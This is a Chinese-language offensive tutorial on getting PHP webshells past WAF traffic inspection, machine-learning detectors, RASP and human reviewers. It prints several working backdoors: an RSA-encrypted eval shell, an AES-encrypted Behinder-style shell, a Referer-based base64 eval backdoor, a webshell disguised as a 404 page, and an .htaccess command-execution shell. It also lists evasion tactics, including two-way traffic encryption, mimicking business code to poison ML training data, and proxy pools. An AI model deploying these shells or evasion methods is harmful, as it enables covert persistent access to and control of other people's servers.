过流量检测
这里的流量检测就是在网络层的waf拦截到我们向webshell传输的数据包,以及webshell返回的数据 包,检测其中是否包含敏感信息的一种检测方式。如果是大马的情况下,可以在大马中添加多处判断代码,因此在执行大马提供的功能时不直接传递关键 字,而是只传递标识位,如 A 是端口扫描,B 是 上传文件,流量就可能为 action=A,这可以在一定程度 上绕过检测。但过这种方式更加屡试不爽的方式就是在双端都进行非对称加解密操作,这种方式WAF是绝对不敢拦 的,因为他不可能解析的了数据包,而且正常业务逻辑为了保证数据的完整性和保密性也会如此传递数据。
比较常见的使用 RSA 进行加密(蚁剑 php shell)
$cmd = @$_POST['ant'];
$publicKey = <<<EOF
-----BEGIN PUBLIC KEY-----
Input your Public Key
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$publicKey = openssl_pkey_get_public($publicKey);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $publicKey)) {
$cmd .= $de;
}
}
eval($cmd);
传递的数据格式为:
使用AES加密(冰蝎 php shell):
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
传递数据格式为:
我想问问,这谁敢拦啊?
除了 RSA/AES/DES 等方式外,你也可以自己变成编码/加密方式,只要做到传输的数据除了你自己的控 制端鬼都认不出来,那你就成功了,此处需要注意的是,一定要是双端加密,也就是不管是请求包还是响应包,都是密文,双端都有加解密 的操作,不然被WAF识别到了返回包里的敏感内容一样前功尽弃,除了流量加密,还有就是multipart分片发包,在前一段时间的绕WAF技术上也是引起了广泛的讨论 在网上还见了一种层级请求,编码运行PHP后门,通过2个PHP文件实现。
<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
第二个文件
<?php
//2.php header('Content-type:text/html;charset=utf-8');
//要执行的代码 $code = <<<CODE phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; //后门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对 referer这些检测要松一点,或者没有检测。
流量层除了对流量本身的识别模式之外,还有很多的识别方式,比如访问时间、访问次数、访问人员等 等方面的综合判定,都可以识别出异常,这种情况下就要考虑到下面提到的匿名化攻击了。
过机器学习算法检测
随着科技发展,现在越来越多的厂商开始尝试并使用机器学习算法进行恶意文件、恶意流量的检测 不论是使用分类算法、还是使用神经网络、深度学习、异常检测算法,能想到的方式有几种:
收集webshell作为训练样本,训练好的模型进行分类,本质上是黑名单训练,典型的如One Class SVM
- 有针对性的收集正常PHP业务逻辑代码和流量,进行白名单训练
- 结合各项特征,完全进行聚类算法
- 基于统计学,构建概率分布模型
- 使用孤立森林等算法进行无监督的异常检测
- 结合更高维度特征,如威胁情报、黑客画像、攻击手法等等,扩展特征维度,弱化代码、流量本身 的权重占比
大多数实现的算法本质上都是提取相关特征进行识别,这种情况下想要绕过检测和识别,是稍微有点头 疼的,因为有时候机器学习模型不需要认识你是恶意代码,只需要发现你跟正常逻辑代码不同就可以 了,但是由于PHP的诸多特性,编写PHP代码的人员水平参差不齐,编写习惯不同,加上早期PHP面向过 程的编制占到了大多数,因此在其中提取统一的相似性的成本和难度大大增加,所以还是可以绕过的, 大体的思路有几种:
1.加密文件
对文件加密后,机器学习算法的识别就产生了巨大的偏差,在某些黑名单算法下无法有效识别,但很容 易被静态检测报出威胁。
2.模拟正常业务代码逻辑
恶意webshell写的越像正常业务代码,越容易绕过检测,无论是静态检测还是机器学习算法,对于流量层面,模拟其他正常业务逻辑的传参方式,必要时完全模拟其他参数的传递,这样可以也可以 污染一些机器学习模型动态学习时的训练数据,使用类、函数进行webshell编写,增加代码互相调用的复杂度同时避免使用常见的webshell中常用的一些字符处理函数,避免某些关键字在训练模型中出现频率较高 导致报警,这部分根据不同的算法绕过的方式也是不同的,需要视情况而定。
3.匿名化进攻
使用白IP进行攻击探测,使用代理池分散恶意流量,在正常业务访问时间进行探测,降低其他维度对攻 击行为的标签,来绕过多维度特征的机器学习算法的检测,这部分超出了PHP代码本身,不再进行讨论。
4.注释
使用注释进行PHP的混淆,对检测源码的机器学习算法是一个巨大的挑战 虽然机器学习模型的杀伤力理论上远远大于基于规则的传统WAF,但是实际上目前在效率和成本的衡量 上目前还是传统WAF占据主流,可能某些大厂在样本数据庞大的情况下可能已经拥有了较好的模型,但 是也不可能拿出来给你用,基于PHP本身的灵活及动态性,可以看到机器学习算法在不使用多维度多方 面的综合考量情况下很难发挥出好的作用。
RASP防御
PHP RASP方案是通过扩展模块实现对规则对应的恶意函数行为、上下文内容的判断和阻断,可以说 RASP 在未来一段时间内将逐渐取代流量层 WAF 称为主流防御方式,RASP 的技术核心就是一个词:Hook,但实际上最关键的并不是 Hook 动作的本身,而是取决于 Hook 之后的操作,安全开发人员根据自身经验进行的检测动作,在php中,调用 eval 等代码执行的函数,最终会调用 php 内核的 zend_compile_string 函数,因此只要 Hook 掉这个函数,把动作限死,一句话类的webshell都失效了,这种情况下我们可以使用小马、大马,直接把功能写出来,就绕过了这个点,但是既然是 RASP,就没那 么简单。现在新版本的这些侵入式的防护产品,除了 Hook 了代码执行这一块,也一并把文件IO,命令执行这些 都做了,根据 web 文件的行为来判断是否是 webshell。典型的比如:读取了非 web 目录下的文件,执 行异常的命令等等。理论上,只要 Hook 做的全,检测规则想的全面,确实是很难绕过的,因为退一万步讲,即使你成功上 传了webshell,你执行的其他动作都是非常规的,都是可以被检测的。但实际上,安全开发人员也是人,不一定能坐到面面俱到,因此,在相关技术没积累到十分成熟之前, 根据实际情况还是可以试一试的。对于OpenRASP WebShell 沙盒检测,已经有大佬 LandGrey 提出想法,利用信息不对称性绕过检测,地 址https://xz.aliyun.com/t/2335。
伪装
讨论了各种检测方式绕过之后,还有一种绕过是针对人的绕过,也就是针对一些管理员、开发人员或者 同行之间,通过各种方式伪装自己的木马,或多或少还是能起到一些作用的。
将页面伪装成404的木马:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
图片马,配合解析漏洞、htaccess、ini配置文件修改,进行隐藏,例如:
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
RedirectMatch 403 .htaccess$
#.htaccess结尾的403错误,这里是为了增加隐蔽性
AddType application/x-httpd-php .htaccess
#给.htaccess映射php拓展
### SHELL ### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>### KINDLE ###
#恶意的php代码
使用方法:http://localhost/.htaccess/?c=dir
PHP大马编写
在简单了解了上述知识后,为了练习 PHP 编码能力,学以致用,我花了一些时间编写了一个PHP大马, 用作学习总结和免杀测试。
GITHUB地址: https://github.com/JosephTribbianni/Stitch
部分截图: